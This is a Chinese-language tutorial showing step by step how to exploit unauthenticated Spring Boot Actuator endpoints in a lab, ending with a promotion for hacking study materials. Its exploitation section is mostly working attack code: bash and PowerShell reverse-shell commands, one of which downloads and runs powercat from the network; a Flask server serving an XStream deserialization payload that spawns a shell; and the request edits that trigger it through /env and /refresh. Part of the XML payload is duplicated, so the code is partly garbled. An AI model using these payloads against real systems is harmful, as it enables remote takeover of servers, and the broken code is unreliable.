目录
一, 未授权访问是什么?
二,Actuator介绍
三,怎么进行漏洞发现呢?
四,实验环境
五,漏洞复现
1.通过访问env获取全部环境属性
2.通过/trace提供基本的http请求跟踪信息
3.利用反序列化进行getshell
1.启动脚本
2.开启监听
3.使用bp抓取一个/env的包
4.修改POST数据
一, 未授权访问是什么?
未授权访问漏洞可以理解为需要安全配置或权限认证的地址、授权页面存在缺陷导致其他用户可以直接访问从而引发重要权限可被操作、数据库或网站目录等敏感信息泄露
二, ** Actuator介绍**
**Spring Boot 基本上是 Spring 框架的扩展。 Actuator 是 Springboot 提供的用来对应用系统进行
自省和监控的功能模块,借助于 Actuator ,开发者可以很方便地对应用系统的某些监控指标进行查 看、统计等。在 Actuator
启用的情况下,如果没有做好相关权限控制,非法用户可通过访问默认的执行器端点( endpoints )来获取应用系统中的监控信息。 **
三,怎么进行漏洞发现呢?
1. 分析web 应用使用的框架为 springboot 框架
2.如果web应用开发者没有修改springboot web默认图标
- ** 如果修改了默认图标,我们通过访问 refresh web网页报错进行分析,** ** 如果 web 应用开发者没有修改 springboot web 应用** ** 的默认 4xx、5xx 报错页面,那么当 web 应用程序出现 4xx、5xx 错误时,会报错如下** ** 如图所示**
四,实验环境
靶机:Centos7+springboot IP地址:10.1.1.137:8090
攻击机:Kali IP地址:10.1.1.135
五,漏洞复现
1.通过访问env获取全部环境属性
2. 通过/trace提供基本的http请求跟踪信息
3.利用反序列化进行getshell
需要以下两个包(环境已安装)
spring-boot-starter-actuator(/refresh刷新配置需要)
spring-cloud-starter-netflix-eureka-client(功能依赖)
采用脚本的方式
# linux反弹shell bash -i >& /dev/tcp/192.168.20.82/9999 0>&1
# windows反弹shell
# <string>powershell</string>
# <string>IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');</string>
# <string>powercat -c 192.168.123.1 -p 2333 -e cmd</string>
from flask import Flask,Response
app =Flask(_name_)
@app.route('/xstream', defaults={ ''})
@app.route('/xstream/<path:path>')
def catch_all(path):
xml = """<linked-hash-set>
<jdk.nashorn.internal.objects.NativeString>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Date">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>bash</string>
<string>-c</string>
<string>bash -i >& /dev/tcp/139.9.198.30/1234 0>&1</string> //攻击机的IP
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
</is>
</dataSource>
</dataHandler>
</value>
</jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>"""
</is>
</dataSource>
</dataHandler>
</value>
</jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>"""
return Response(xml, mimetype='application/xml')
if __name__ == "__main__":
app.run(host='0.0.0.0', port=2333)
采用一个启动脚本的服务
注意讲脚本中的IP改为自己的IP,并且开启一个监听端口
1.启动脚本
2. 开启监听
3. 使用bp抓取一个/env的包
4.修改POST数据
eureka.client.serviceUrl.defaultZone=http://10.1.1.135:2333/xstream
点击forward发送请求
访问/refresh,还是显示一次错误页面。我们对此进行抓包
我们讲此修改为post请求,数据包随机输入就可以
查看监听的端口,我们可以看到得道了一个shell,复现成功!!!
最后
从时代发展的角度看,网络安全的知识是学不完的,而且以后要学的会更多,同学们要摆正心态,既然选择入门网络安全,就不能仅仅只是入门程度而已,能力越强机会才越多。
因为入门学习阶段知识点比较杂,所以我讲得比较笼统,大家如果有不懂的地方可以找我咨询,我保证知无不言言无不尽,需要相关资料也可以找我要,我的网盘里一大堆资料都在吃灰呢。
干货主要有:
①1000+CTF历届题库(主流和经典的应该都有了)
②CTF技术文档(最全中文版)
③项目源码(四五十个有趣且经典的练手项目及源码)
④ CTF大赛、web安全、渗透测试方面的视频(适合小白学习)
⑤ 网络安全学习路线图(告别不入流的学习)
⑥ CTF/渗透测试工具镜像文件大全
⑦ 2023密码学/隐身术/PWN技术手册大全
如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!
扫码领取